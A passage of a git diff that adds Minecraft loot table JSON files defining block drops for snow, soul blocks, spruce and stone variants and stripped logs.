+++ b/src/data/minecraft/loot_tables/blocks/snow.json @@ -0,0 +1,318 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:alternatives", + "conditions": [ + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + } + ], + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:snow", + "properties": { + "layers": "1" + } + } + ], + "name": "minecraft:snowball" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:snow", + "properties": { + "layers": "2" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 2 + } + ], + "name": "minecraft:snowball" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:snow", + "properties": { + "layers": "3" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 3 + } + ], + "name": "minecraft:snowball" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:snow", + "properties": { + "layers": "4" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 4 + } + ], + "name": "minecraft:snowball" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:snow", + "properties": { + "layers": "5" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 5 + } + ], + "name": "minecraft:snowball" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:snow", + "properties": { + "layers": "6" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 6 + } + ], + "name": "minecraft:snowball" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:snow", + "properties": { + "layers": "7" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 7 + } + ], + "name": "minecraft:snowball" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 8 + } + ], + "name": "minecraft:snowball" + } + ] + }, + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:snow", + "properties": { + "layers": "1" + } + } + ], + "name": "minecraft:snow" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:snow", + "properties": { + "layers": "2" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 2 + } + ], + "name": "minecraft:snow" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:snow", + "properties": { + "layers": "3" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 3 + } + ], + "name": "minecraft:snow" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:snow", + "properties": { + "layers": "4" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 4 + } + ], + "name": "minecraft:snow" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:snow", + "properties": { + "layers": "5" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 5 + } + ], + "name": "minecraft:snow" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:snow", + "properties": { + "layers": "6" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 6 + } + ], + "name": "minecraft:snow" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:snow", + "properties": { + "layers": "7" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 7 + } + ], + "name": "minecraft:snow" + }, + { + "type": "minecraft:item", + "name": "minecraft:snow_block" + } + ] + } + ] + } + ], + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": {}, + "entity": "this" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/snow_block.json b/src/data/minecraft/loot_tables/blocks/snow_block.json new file mode 100644 index 00000000..99b6457d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/snow_block.json @@ -0,0 +1,47 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:snow_block" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 4 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:snowball" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/soul_campfire.json b/src/data/minecraft/loot_tables/blocks/soul_campfire.json new file mode 100644 index 00000000..66e0ed8f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/soul_campfire.json @@ -0,0 +1,49 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:soul_campfire" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:soul_soil" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/soul_fire.json b/src/data/minecraft/loot_tables/blocks/soul_fire.json new file mode 100644 index 00000000..68701f9f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/soul_fire.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:block" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/soul_lantern.json b/src/data/minecraft/loot_tables/blocks/soul_lantern.json new file mode 100644 index 00000000..7148c159 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/soul_lantern.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:soul_lantern" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/soul_sand.json b/src/data/minecraft/loot_tables/blocks/soul_sand.json new file mode 100644 index 00000000..4a8810e5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/soul_sand.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:soul_sand" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/soul_soil.json b/src/data/minecraft/loot_tables/blocks/soul_soil.json new file mode 100644 index 00000000..96ce68ec --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/soul_soil.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:soul_soil" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/soul_torch.json b/src/data/minecraft/loot_tables/blocks/soul_torch.json new file mode 100644 index 00000000..8bf471be --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/soul_torch.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:soul_torch" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spawner.json b/src/data/minecraft/loot_tables/blocks/spawner.json new file mode 100644 index 00000000..68701f9f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spawner.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:block" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/sponge.json b/src/data/minecraft/loot_tables/blocks/sponge.json new file mode 100644 index 00000000..afb92498 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/sponge.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:sponge" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spruce_button.json b/src/data/minecraft/loot_tables/blocks/spruce_button.json new file mode 100644 index 00000000..27278d5f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spruce_button.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:spruce_button" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spruce_door.json b/src/data/minecraft/loot_tables/blocks/spruce_door.json new file mode 100644 index 00000000..5ac019e4 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spruce_door.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:spruce_door", + "properties": { + "half": "lower" + } + } + ], + "name": "minecraft:spruce_door" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spruce_fence.json b/src/data/minecraft/loot_tables/blocks/spruce_fence.json new file mode 100644 index 00000000..fd3133c7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spruce_fence.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:spruce_fence" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spruce_fence_gate.json b/src/data/minecraft/loot_tables/blocks/spruce_fence_gate.json new file mode 100644 index 00000000..bd3a24bd --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spruce_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:spruce_fence_gate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spruce_leaves.json b/src/data/minecraft/loot_tables/blocks/spruce_leaves.json new file mode 100644 index 00000000..56e99bd1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spruce_leaves.json @@ -0,0 +1,128 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ], + "name": "minecraft:spruce_leaves" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + }, + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.05, + 0.0625, + 0.083333336, + 0.1 + ] + } + ], + "name": "minecraft:spruce_sapling" + } + ] + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.02, + 0.022222223, + 0.025, + 0.033333335, + 0.1 + ] + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:stick" + } + ], + "conditions": [ + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spruce_log.json b/src/data/minecraft/loot_tables/blocks/spruce_log.json new file mode 100644 index 00000000..30bd1eba --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spruce_log.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:spruce_log" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spruce_planks.json b/src/data/minecraft/loot_tables/blocks/spruce_planks.json new file mode 100644 index 00000000..b5cdd6a7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spruce_planks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:spruce_planks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spruce_pressure_plate.json b/src/data/minecraft/loot_tables/blocks/spruce_pressure_plate.json new file mode 100644 index 00000000..6b15ad78 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spruce_pressure_plate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:spruce_pressure_plate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spruce_sapling.json b/src/data/minecraft/loot_tables/blocks/spruce_sapling.json new file mode 100644 index 00000000..08aab544 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spruce_sapling.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:spruce_sapling" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spruce_sign.json b/src/data/minecraft/loot_tables/blocks/spruce_sign.json new file mode 100644 index 00000000..4089b777 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spruce_sign.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:spruce_sign" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spruce_slab.json b/src/data/minecraft/loot_tables/blocks/spruce_slab.json new file mode 100644 index 00000000..07dcfd87 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spruce_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:spruce_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:spruce_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spruce_stairs.json b/src/data/minecraft/loot_tables/blocks/spruce_stairs.json new file mode 100644 index 00000000..bde3804c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spruce_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:spruce_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spruce_trapdoor.json b/src/data/minecraft/loot_tables/blocks/spruce_trapdoor.json new file mode 100644 index 00000000..adb44365 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spruce_trapdoor.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:spruce_trapdoor" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/spruce_wood.json b/src/data/minecraft/loot_tables/blocks/spruce_wood.json new file mode 100644 index 00000000..ecabff3d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/spruce_wood.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:spruce_wood" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/sticky_piston.json b/src/data/minecraft/loot_tables/blocks/sticky_piston.json new file mode 100644 index 00000000..a4a69d56 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/sticky_piston.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:sticky_piston" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stone.json b/src/data/minecraft/loot_tables/blocks/stone.json new file mode 100644 index 00000000..202d87a1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stone.json @@ -0,0 +1,43 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:stone" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "name": "minecraft:cobblestone" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stone_brick_slab.json b/src/data/minecraft/loot_tables/blocks/stone_brick_slab.json new file mode 100644 index 00000000..bfeae9d7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stone_brick_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:stone_brick_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:stone_brick_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stone_brick_stairs.json b/src/data/minecraft/loot_tables/blocks/stone_brick_stairs.json new file mode 100644 index 00000000..8257ded8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stone_brick_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stone_brick_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stone_brick_wall.json b/src/data/minecraft/loot_tables/blocks/stone_brick_wall.json new file mode 100644 index 00000000..676c5590 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stone_brick_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stone_brick_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stone_bricks.json b/src/data/minecraft/loot_tables/blocks/stone_bricks.json new file mode 100644 index 00000000..b61249c0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stone_bricks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stone_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stone_button.json b/src/data/minecraft/loot_tables/blocks/stone_button.json new file mode 100644 index 00000000..c2a8efbc --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stone_button.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stone_button" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stone_pressure_plate.json b/src/data/minecraft/loot_tables/blocks/stone_pressure_plate.json new file mode 100644 index 00000000..f3a772c2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stone_pressure_plate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stone_pressure_plate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stone_slab.json b/src/data/minecraft/loot_tables/blocks/stone_slab.json new file mode 100644 index 00000000..cd0dd1d0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stone_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:stone_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:stone_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stone_stairs.json b/src/data/minecraft/loot_tables/blocks/stone_stairs.json new file mode 100644 index 00000000..7808e77a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stone_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stone_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stonecutter.json b/src/data/minecraft/loot_tables/blocks/stonecutter.json new file mode 100644 index 00000000..ac2f3d57 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stonecutter.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:stonecutter" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_acacia_log.json b/src/data/minecraft/loot_tables/blocks/stripped_acacia_log.json new file mode 100644 index 00000000..841c9a62 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_acacia_log.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_acacia_log" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_acacia_wood.json b/src/data/minecraft/loot_tables/blocks/stripped_acacia_wood.json new file mode 100644 index 00000000..9c9c436d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_acacia_wood.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_acacia_wood" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_birch_log.json b/src/data/minecraft/loot_tables/blocks/stripped_birch_log.json new file mode 100644 index 00000000..df403c9b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_birch_log.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_birch_log" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_birch_wood.json b/src/data/minecraft/loot_tables/blocks/stripped_birch_wood.json new file mode 100644 index 00000000..45daef49 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_birch_wood.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_birch_wood" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_crimson_hyphae.json b/src/data/minecraft/loot_tables/blocks/stripped_crimson_hyphae.json new file mode 100644 index 00000000..aa8602fc --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_crimson_hyphae.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_crimson_hyphae" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_crimson_stem.json b/src/data/minecraft/loot_tables/blocks/stripped_crimson_stem.json new file mode 100644 index 00000000..81747db9 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_crimson_stem.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_crimson_stem" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_dark_oak_log.json b/src/data/minecraft/loot_tables/blocks/stripped_dark_oak_log.json new file mode 100644 index 00000000..a885a8ef --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_dark_oak_log.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_dark_oak_log" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_dark_oak_wood.json b/src/data/minecraft/loot_tables/blocks/stripped_dark_oak_wood.json new file mode 100644 index 00000000..f01cb27f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_dark_oak_wood.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_dark_oak_wood" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_jungle_log.json b/src/data/minecraft/loot_tables/blocks/stripped_jungle_log.json new file mode 100644 index 00000000..7656f153 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_jungle_log.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_jungle_log" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git 